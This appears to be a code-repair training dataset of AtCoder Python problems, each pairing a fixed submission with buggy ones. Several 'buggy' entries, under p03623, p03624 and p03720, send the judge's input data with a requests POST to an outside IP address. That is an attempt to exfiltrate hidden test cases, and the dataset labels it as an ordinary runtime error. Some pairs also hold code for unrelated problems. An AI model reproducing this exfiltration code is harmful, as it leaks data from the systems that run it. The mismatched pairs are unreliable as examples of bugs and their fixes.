Harryxun/GPT-100-sft-dataset huggingface dataset:
Problem p03474 (python)

Fixed submission:
A,B = list(map(int,input().split(" ")))
S = input()

for i in range(len(S)):

    if i==A:
        if S[i]!="-":
            print("No")
            exit()
    else:
        if not ord('0')<=ord(str(S[i]))<=ord('9'):
            print("No")
            exit()
print("Yes")

Buggy submission (verdict: Runtime Error):
A,B = list(map(int,input().split(" ")))
S = input()

for i in range(len(S)):
    if i==A:
        if S[i]!="-":
            print("No")
            exit()
    else:
        if not ord('0')<=ord(str(i))<=ord('9'):
            print("No")
            exit()
print("Yes")
Problem p03623 (python)

Fixed submission:
a,b,c, = list(map(int,input().split(" ")))
if abs(a-b)>abs(a-c):
    print("B")
else:
    print("A")

Buggy submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
print("None")
s.post(url,data=data)
Problem p03624 (python)

Fixed submission:
#alphabet="abcdefghijklmnopqrstuvwxyz"
alphabet = [chr(ord('a')+i) for i in range(26)]
S=list(set(input()))
S.sort()

for i in alphabet:
    if i not in S:
        print(i)
        exit()
print("None")

Buggy submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
print("None")
s.post(url,data=data)

Buggy submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None")

Buggy submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)

Buggy submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
r = s.post(url,data=data)
print(r.text)
Problem p03644 (python)

Fixed submission:
# coding:utf-8
def recurcive(N,c):
    if N%2==0 and N!=0:
        c+=1
        return recurcive(int(N/2),c)
    else:
        return c
#print(recurcive(8,0))

N=int(input())
maxim=0

for i in range(1,N+1):
    if recurcive(i,0) > maxim:
        maxim=recurcive(i,0)
print(2**maxim)

Buggy submission (verdict: Runtime Error):
# coding:utf-8
def recurcive(N,c):
    if N%2==0 and N!=0:
        c+=1
        return recurcive(int(N/2),c)
    else:
        return c
#print(recurcive(8,0))

N=int(input())
maxim=0

for i in range(1,N+1):
    if recurcive(i,0) > maxim:
        maxim=ans
print(2**maxim)

Buggy submission (verdict: Runtime Error):
# coding:utf-8
def recurcive(N,c):
    if N%2==0 and N!=0:
        c+=1
        return recurcive(int(N/2),c)
    else:
        return c
N=int(input())
maxim=-1

for i in range(1,N+1):
    if ans = recurcive(i,0) > maxim:
        maxim=ans
print(2**maxim)
Problem p03720 (python)

Fixed submission:
N,M = map(int,input().split(" "))
ab = [list(map(int,input().split(" "))) for i in range(M)]
#print(ab)
ans = [0 for i in range(N+1)]
for i in range(M):
    ans[ab[i][0]]+=1
    ans[ab[i][1]]+=1
    #print(ab[i][0])
    #print(ab[i][1])
for i in range(1,len(ans)):
    print(ans[i])

Buggy submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None")
Problem p03136 (python)

Fixed submission:
n=int(input())
m=0
s=0
a=list(map(int,input().split()))
for i in range(n):
  if a[i] >= m:
    m=a[i]
  s=s+a[i]
if s-m>m:
  print("Yes")
else:
  print("No")

Buggy submission (verdict: Runtime Error):
n=int(input())
max=0
sum=0
for i in range(n):
  a=int(input())
  if a>=max:
    max=a
  sum=sum+a
if sum-a<a:
  print("Yes")
else:
  print("No")
Problem p03238 (python)

Fixed submission:
n=int(input())
if n==1:
  print("Hello World")
else:
  a=int(input())
  b=int(input())
  print(a+b)

Buggy submission (verdict: Runtime Error):
n=int(input())
a=int(input())
b=int(input())
if n==1:
  print("Hello World")
else:
  print(a+b)
Problem p03324 (python)

Fixed submission:
d,n=map(int,input().split())
if n==100:
  print(100**d*101)
else:
  print(100**d*n)

Buggy submission (verdict: Runtime Error):
d,n=map(int,input().split())
if n=100:
  print(100**d*101)
else:
  print(100**d*n)
Problem p03433 (python)

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy submission (verdict: Runtime Error):
a,b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy submission (verdict: Runtime Error):
a = int(input())
b = int(input())
if a%500 <= b:
  print(Yes)
else:
  print(No)

Buggy submission (verdict: Runtime Error):
a = input()
b = input()
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Buggy submission (verdict: Runtime Error):
a = int(input(a))
b = int(input(b))
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Buggy submission (verdict: Runtime Error):
a, b = map(int, input().split())
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Buggy submission (verdict: Runtime Error):
a, b = map(int, input().split())
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Buggy submission (verdict: Runtime Error):
a, b = map(int, input().split())
c = b%500
if a >= c:
  print("Yes")
else:
  print("No")
Problem p03693 (python)

Fixed submission:
a, b, c = map(int, input().split())
d = 100*a + 10*b + c
if d%4 == 0:
  print("YES")
else:
  print("NO")

Buggy submission (verdict: Runtime Error):
a, b, c = map(int, input().split())
if (100*a + 10*b + c) %4 = 0:
  print("YES")
else:
  print("NO")
Problem p04030 (python)

Fixed submission:
s=input()
ans=""
for i in range(len(s)):
    if s[i]=="0":
        ans+="0"
    elif s[i]=="1":
        ans+="1"
    else:
        ans=ans[0:-1]
print(ans)

Buggy submission (verdict: Runtime Error):
s=input()
for i in range(len(s)):
    if s[i]=="0":
        ans+="0"
    elif s[i]=="1":
        ans+="1"
    else:
        ans=ans[0:-1]
print(ans)
Problem p02952 (python)

Fixed submission:
N = int(input())
count = 0
for i in range(N):
  if len(str(i+1)) % 2 == 1:
    count += 1
print(count)

Buggy submission (verdict: Runtime Error):
N=int(input())
if N<=9:
  print(N)
elif 10<=N<=99:
  print(9)
elif 100<=N<=999:
  print(N-90)
elif 1000<=N<=9999:
  print(909)
elif 10000<=N<=99999:
  priint(918+N-9999)
else:
  print(90909)

Buggy submission (verdict: Runtime Error):
N = int(input())
count = 0
for i in range(N):
  if len(str(i+)) % 2 == 1:
    count += 1
print(count)
Problem p02969 (python)

Fixed submission:
r=int(input())
m=3*r*r
print(m)

Buggy submission (verdict: Runtime Error):
m=3*r*r
prnit(m)
Problem p02981 (python)

Fixed submission:
N,A,B=map(int,input().split())
train=N*A
taxi=B
if train<=taxi:
    print(train)
else: print(taxi)

Buggy submission (verdict: Runtime Error):
N,A,B=map(int,input().split())
train=N*A
taxi=B
if train<=taxi:
    print(train)
else print(taxi)
Problem p03029 (python)

Fixed submission:
a,p=map(int,input().split())
m=(3*a+p)//2
print(m)

Buggy submission (verdict: Runtime Error):
a,p=map(int,input().split())
m=(3*A+P)//2
print(m)
Problem p03125 (python)

Fixed submission:
A,B=map(int,input().split())
if B%A==0:
  print(A+B)
else:
  print(B-A)

Buggy submission (verdict: Runtime Error):
A,B=map(int,input().split())
if A%B=0:
  print(A+B)
else:
  print(B-A)
Problem p03146 (python)

Fixed submission:
s=int(input())
List=[]
while s not in List:
  List.append(s)
  if s%2==0:
    s=s/2
  else:
    s=3*s+1
print(len(List)+1)

Buggy submission (verdict: Runtime Error):
s=int(input())
def f(x):
  if x%2==0:
    return x/2
  else:
    return 3*x+1
def lol(n):
  if n>1:
    return f(lol(n-1))
  elif n==1:
    return s
List=[]
for i in range(1,1000000):
  if lol(i)==2:
    break
  List.append(lol(i))
print(List.index(4)+4)

Buggy submission (verdict: Runtime Error):
s=int(input())
def f(x):
  if x%2==0:
    return x/2
  else:
    return 3*x+1
def lol(n):
  if n>1:
    return f(lol(n-1))
  elif n==1:
    return s
List=[]
for i in range(1000000):
  if lol(i)==2:
    break
  List.append(lol(i))
print(List.index(4)+3)
Problem p03220 (python)

Fixed submission:
N=int(input())
T,A=map(int,input().split())
List=list(map(int,input().split()))
a=[]
for i in range(N):
    a.append(abs(T-List[i]*0.006-A))
print(a.index(min(a))+1)

Buggy submission (verdict: Runtime Error):
N=int(input())
T,A=map(int,input().split())
List=list(map(int,input().split())
a=[]
for i in range(N):
    a.append(abs(T-List[i]*0.006-A))
print(index(min(a))+1)
Problem p02953 (python)

Fixed submission:
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg, add = 'Yes', False
for i, l in enumerate(list):
  if i + 1 == len(list):
    break
  if add: l = l + 1 
  if l - 1 > list[i + 1] and l < list[i + 1]:
    flg = 'No'
    break
  elif l - 1 == list[i + 1]:
    add = True
  elif l > list[i + 1]:
    flg = 'No'
    break
  else:
    add = False
 
print(flg)

Buggy submission (verdict: Runtime Error):
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg, add = 'Yes', False
for i, l in enumerate(list):
  if i == len(list): break
  if add: l = l - 1
  if l > list[i + 1]:
    flg = 'No'
    break
  elif l - 1 == list[i + 1]:
    add = True
  elif l - 1 > list[i + 1]:
    flg = 'No'
    break
  else:
    add = False
 
print(flg)

Buggy submission (verdict: Runtime Error):
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg = 'Yes'
for i, l in enumerate(list):
  if l <= list[i + 1] or l <= list[i + 1] - 1:
    flg = 'No'
    break
 
print(flg)

Buggy submission (verdict: Runtime Error):
N = int(input())
H = input().split()
list = [int(X) for x in H]

flg = 'Yes'
for i, l in enumerate(list):
  if l <= list[i + 1] or l <= list[i + 1] - 1:
    flg = 'No'
    break

print(flg)
Problem p02957 (python)

Fixed submission:
A,B = map(int, input().split())
if (A+B)%2==0:
    print(int((A+B)/2))
else:
    print('IMPOSSIBLE')

Buggy submission (verdict: Runtime Error):
A,B = map(int, input().split())
if (a+b)%2==0:
    print(int((A+B)/2))
else:
    print('IMPOSSIBLE')

Buggy submission (verdict: Runtime Error):
A,B = map(int, input().split())
if (a+b)%2==0:
    print(int((a+b)/2))
else:
    print('IMPOSSIBLE')
Problem p02969 (python)

Fixed submission:
r = int(input())
b = 3*r**2
print(b)

Buggy submission (verdict: Runtime Error):
r = map(int, input())
b = 3*r**2
print(b)

Buggy submission (verdict: Runtime Error):
r = map(int, input().split())
b = 3*r*r
print(b)
Problem p03029 (python)

Fixed submission:
A, P = map(int, input().split())
D = 3*A + P
print(D//2)

Buggy submission (verdict: Runtime Error):
A, P = map(int, input().split())
D = 3*A + P
if D % 2 == 0:
    print(int(D/2))
else:
    print(round(int((D/2))
Problem p03035 (python)

Fixed submission:
A, B = map(int, input().split())
if A>= 13:
    print(B)
elif A <= 5:
    print(0)
else:
    print(B//2)

Buggy submission (verdict: Runtime Error):
A, B = map(int, input().split())
if A>= 13:
    print(B)
elif 6 =< A =< 12:
    print(B/2)
else:
    print(0)
Problem p03085 (python)

Fixed submission:
b = input()
if b == "A": 
    print("T")
elif b == "T":
    print("A")
elif b == "C":
    print("G")
elif b =="G":
    print("C")

Buggy submission (verdict: Runtime Error):
b = input()
if b = "A": 
    print("T")
elif b = "T":
    print("A")
elif b = "C":
    print("G")
elif b = "G":
    print("C")

Buggy submission (verdict: Runtime Error):
b = input()
if b = A: 
    print(T)
elif b = T:
    print(A)
elif b = C:
    print(G)
elif b = G:
    print(C)
Problem p03292 (python)

Fixed submission:
a = list(map(int, input().split()))
a = sorted(a)
ans = 0
L = len(a)
for i in range(1,L) :
    ans += abs(a[i]-a[i-1])

print(ans)

Buggy submission (verdict: Runtime Error):
import math
import functools


def lcm_base(x, y):
    return (x * y) // math.gcd(x, y)

def lcm_list(numbers):
    return functools.reduce(lcm_base, numbers, 1)

def lcm_list(*numbers):
    return functools.reduce(lcm_base, numbers, 1)

def main() :
    n = int(input())
    a = list(map(int, input().split()))
    lcm = lcm_list(*a)

    ans = 0
    for aa in a :
        ans += (lcm-1) % aa

    print(ans)

main()
Problem p03024 (python)

Fixed submission:
S = input()
k = len(S)
win = 0
for i in range(k):
    if S[i] == 'o':
        win = win + 1
if win + 15 - k >= 8:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
S = input()
k = len(S)
win = 0
for i in range(k):
  if S[i] == 'o':
    win = win + 1
if win + 15 - k >= 8:
  print('YES')
else:
  print('NO)
Problem p03377 (python)

Fixed submission:
a, b, x = map(int, input().split())
if a <= x <= a + b:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
import numpy as np

N = int(input())
X_list = list(map(int, input().split()))
def get_median(a_list, i):
    b_list = a_list[:]
    del b_list[i]
    data = np.array(b_list)
    print(np.median(data))
for j in range(N):
    get_median(X_list, j)
Problem p03147 (python)

Fixed submission:
import sys
sys.setrecursionlimit(10000000)


n = input()
h2 = list(map(int, input().split()))
j2 = -2
count2 = 0


def maax(count, j, h):
    if max(h) == 0:
        print(count)
        return
    k = max(h)
    
    for i in range(len(h)):
        if h[i] == k:
            if j+1 != i:
                count = count+1
    
            j = i
            h[i] = k-1
            maax(count, j, h)
    

maax(count2, j2, h2)

Buggy submission (verdict: Runtime Error):
n = input()
h2 = list(map(int, input().split()))
j2 = -2
count2 = 0


def maax(count, j, h):
    if max(h) == 0:
        print(count)
        return
    k = max(h)
    
    for i in range(len(h)):
        if h[i] == k:
            if j+1 != i:
                count = count+1
    
            j = i
            h[i] = k-1
            maax(count, j, h)
    


maax(count2, j2, h2)
Problem p03206 (python)

Fixed submission:
a = input()
if a == '25':
    print('Christmas')
if a == '24':
    print('Christmas Eve')
if a == '23':
    print('Christmas Eve Eve')
if a == '22':
    print('Christmas Eve Eve Eve')

Buggy submission (verdict: Runtime Error):
import sys 
a = sys.argv[1]
if a == '25':
    print('Christmas')
if a == '24':
    print('Christmas Eve')
if a == '23':
    print('Christmas Eve Eve')
if a == '22':
    print('Christmas Eve Eve Eve')
Problem p03308 (python)

Fixed submission:
a=input()
a=sorted(map(int,input().split()))
print(a[-1]-a[0])

Buggy submission (verdict: Runtime Error):
import numpy as npo
a=input()
a=(map(int,input().split()))
a=npo.array(a)
a=npo.sort()
print(a[-1]-a[0])

print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")

Buggy submission (verdict: Runtime Error):
import numpy as npo
a=input()
a=(map(int,input().split()))
a=npo.array(a)
a=npo.sort.()
print(a[-1]-a[0])

print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
print("")
Problem p02957 (python)

Fixed submission:
a, b = map(int, input().split())
if ((a+b)%2) == 1:
    print ('IMPOSSIBLE')
else:
    print ((a+b)//2)

Buggy submission (verdict: Runtime Error):
a, b = map(int, input().split())
if ((a+b)%2) == 1:
    print (IMPOSSIBLE )
else:
    print ((a+b)/2)

Buggy submission (verdict: Runtime Error):
a, b = map(int, input().split())
if (a+b)%2 == 1:
    print (IMPOSSIBLE )
else:
    print ((a+b)/2)

Buggy submission (verdict: Runtime Error):
a, b = map(int, input().split())



if (a+b)%2 == 1:
    print (IMPOSSIBLE )

print ((a+b)/2)

Buggy submission (verdict: Runtime Error):
a, b = map(int, input().split())



if (a+b)%2 == 1:
    print (IMPOSSIBLE )

print ((a+b)%2)
Problem p02958 (python)

Fixed submission:
n = int(input())
p = list(map(int, input().split()))
 
q = sorted(p)
cou = 0
for i in range(n):
    if p[i] != q[i]:
        cou += 1
 
if cou <= 2:
    print("YES")
else:
    print("NO")

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))
v = sorted(p)
cou=0
for i in range(n):
    if not p[i] == v[i]:
        cou+=1

if cou <= 2:
    print("YES")
else:
    print("NO")

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))

v = sorted(p)
cou=0
for i in range(n):
    if p[i] != v[i]:
        cou+=1

if cou <= 2:
    print("YES")
else:
    print("NO")

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))

v = sorted(p)
cou=0
for i in range(n):
    if not p[i] == v[i]:
        cou+=1

if cou <= 2:
    print("YES")
else:
    print("NO")

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))
v = sorted(p)
cou=0
for i in range(n):
    if not p[i] == v[i]:
        cou+=1

if cou <= 2:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))
v = sorted(p)
cou=0
for i in range(len(p)):
    if not p[i] == v[i]:
        cou+=1

if cou <= 2:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))
v = sorted(p)
cou=0
if p==v:
    cou =2
else:
    for i in range(len(p)):
        if not p[i] == v[i]:
            cou+=1

if cou <= 2:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))
v = sorted(p)
cou=0
if p==v:
    cou =2
else:
    for i in range(len(p)):
        if not p[i] == v[i]:
            cou+=1

if cou == 2:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
n = int(input)
p = list(map(int, input().split()))
v = sorted(p)
cou=0
if p==v:
    cou =2
else:
    for i in range(len(p)):
        if not p[i] == v[i]:
            cou+=1

if cou == 2:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
n = int(input)
p = map(int, input().split())
v = sorted(p)
cou=0
if p==v:
    cou =2
else:
    for i in range(len(p)):
        if not p[i] == v[i]:
            print i
            cou+=1

if cou == 2:
    print('YES')
else:
    print('NO')

Buggy submission (verdict: Runtime Error):
p = map(int, '1 2 3 4 5 6 7'.split())
v = sorted(p)
cou=0
if p==v:
    cou =2
else:
    for i in range(len(p)):
        if not p[i] == v[i]:
            print i
            cou+=1

if cou == 2:
    print('YES')
else:
    print('NO')
Problem p02982 (python)

Fixed submission:
import itertools
import math
 
n,d = map(int, input().split())
x = [[0 for x in range(d)] for y in range(n)]

for i in range(n):
    x[i] = list(map(int, input().split()))

cnt = 0
for i in itertools.combinations(x, 2):
    y = i[0]
    z = i[1]
    res = 0
    for j in range(d):
        res +=(y[j]-z[j])**2

    res = math.sqrt(res)
    if res.is_integer():
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,d = map(int, input().split())
x = [[0 for x in range(d)] for y in range(n)]

for i in range(n):
    x[i] = list(map(int, input().split()))

cnt = 0
for i in itertools.combinations(x, 2):
    y = i[0]
    z = i[1]
    res = 0
    for j in range(d):
        res +=(y[j]-z[j])**2

    res = math.sqrt(res)
    if res.is_integer():
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,d = map(int, input().split())
x = [[0 for x in range(d)] for y in range(n)]

for i in range(n):
    x[i] = list(map(int, input().split()))

cnt = 0
for i in itertools.combinations(x, 2):
    y = i[0]
    z = i[1]
    res = 0
    for j in range(d):
        res +=(y[j]-z[j])**2

    res = math.sqrt(res)
    if res.is_integer():
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,d = map(int, input().split())
x = [[0 for x in range(2)] for y in range(3)]

for i in range(n):
    x[i] = list(map(int, input().split()))

cnt = 0
for i in itertools.combinations(x, 2):
    y = i[0]
    z = i[1]
    res = 0
    for j in range(d):
        res +=(y[j]-z[j])**2

    res = math.sqrt(res)
    if res.is_integer():
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,d = list(map(int, input().split()))
x = [[0 for x in range(2)] for y in range(3)]

for i in range(n):
    x[i] = list(map(int, input().split()))

cnt = 0
for i in itertools.combinations(x, 2):
    y = i[0]
    z = i[1]
    res = 0
    for j in range(d):
        res +=(y[j]-z[j])**2

    res = math.sqrt(res)
    if res.is_integer():
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
import math
import itertools

n,d = list(map(int, input().split()))
x = [[0 for x in range(2)] for y in range(3)]

for i in range(n):
    x[i] = list(map(int, input().split()))

cnt = 0
for i in itertools.combinations(x, 2):
    y = i[0]
    z = i[1]
    res = 0
    for j in range(d):
        res +=(y[j]-z[j])**2

    res = math.sqrt(res)
    if res.is_integer():
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,d = list(map(int, input().split()))
x = [[0 for x in range(2)] for y in range(3)]

for i in range(n):
    x[i] = list(map(int, input().split()))

cnt = 0
for i in itertools.combinations(x, 2):
    y = i[0]
    z = i[1]
    res = 0
    for j in d:
        res +=(y[j]-z[j])**2

    res = math.sqrt(res)
    if res.is_integer():
        cnt+=1

print (cnt)
Problem p02993 (python)

Fixed submission:
s = input()
for i in range(1, len(s)):
    if s[i] == s[i-1]:
        print ('Bad')
        exit()

print ('Good')

Buggy submission (verdict: Runtime Error):
s = int(input())
for i in range(1, s):
    if s[i] == s[i-1]:
        print ('Bad')
        exit()

print ('Good')
Problem p03000 (python)

Fixed submission:
n,x = map(int, input().split())
l = list(map(int, input().split()))
#ボールの弾む座標
cnt=1
length=0
for i in range(n):
    length +=l[i]
    if length <=x:
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,x = map(int, input().split())
l = map(int, input().split())
#ボールの弾む座標
cnt=1
length=0
for i in range(n):
    length +=l[i]
    if length <=x:
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,x = map(int, input().split())
l = map(int, input().split())
#ボールの弾む座標
cnt=1
length=0
for i in range(n):
    length +=l[i]
    if length <=x:
        cnt+=1

print (cnt)

Buggy submission (verdict: Runtime Error):
n,x = map(int, input().split())
l = map(int, input()/split())
#ボールの弾む座標
cnt=1
length=0
for i in range(n):
    length +=l[i]
    if length <=x:
        cnt+=1

print (cnt)
Problem p03071 (python)

Fixed submission:
a,b = map(int, input().split())
if a == b:
    print (a*2)
else:
    print (max(a,b)*2-1)

Buggy submission (verdict: Runtime Error):
a,b = map(int, inptu().split())
if a == b:
    print (a*2)
else:
    print (max(a,b)*2-1)
Problem p02953 (python)

Fixed submission:
N = int(input())
H = list(map(int, input().split()))

Hmax = H[0]
flag = 0
for i in range(N):
	if H[i] < Hmax - 1:
		flag = 1
		break
	if H[i] > Hmax:
		Hmax = H[i]

if flag == 1:
  	print('No')
else:
  	print('Yes')

Buggy submission (verdict: Runtime Error):
N = int(input())
H = map(int, input().split())

H_diff = []
for i in range(N-1):
  	H_diff = H[i] - H[i+1]
if max(H_diff) <= 1:
  	print('Yes')
else:
  	print('No')
Problem p03711 (python)

Fixed submission:
x, y = [int(x) for x in input().split()]

list1 = [1, 3, 5, 7, 8, 10, 12]
list2 = [4, 6, 9, 11]
list3 = [2]

if x in list1:
	if y in list1:
		print("Yes")
	else:
		print("No")
elif x in list2:
	if y in list2:
		print("Yes")
	else:
		print("No")
else:
	if y in list3:
		print("Yes")
	else:
		print("No")

Buggy submission (verdict: Runtime Error):
x, y = [int(x) for x in input().split()]

list1 = [1, 3, 5, 7, 8, 10, 12]
list2 = [4, 6, 9, 11]
list3 = [2]

if x in list1:
	if y in list1:
		print("Yes")
	else:
		pirnt("No")
elif x in list2:
	if y in list2:
		print("Yes")
	else:
		print("No")
else:
	if y in list3:
		print("Yes")
	else:
		print("No")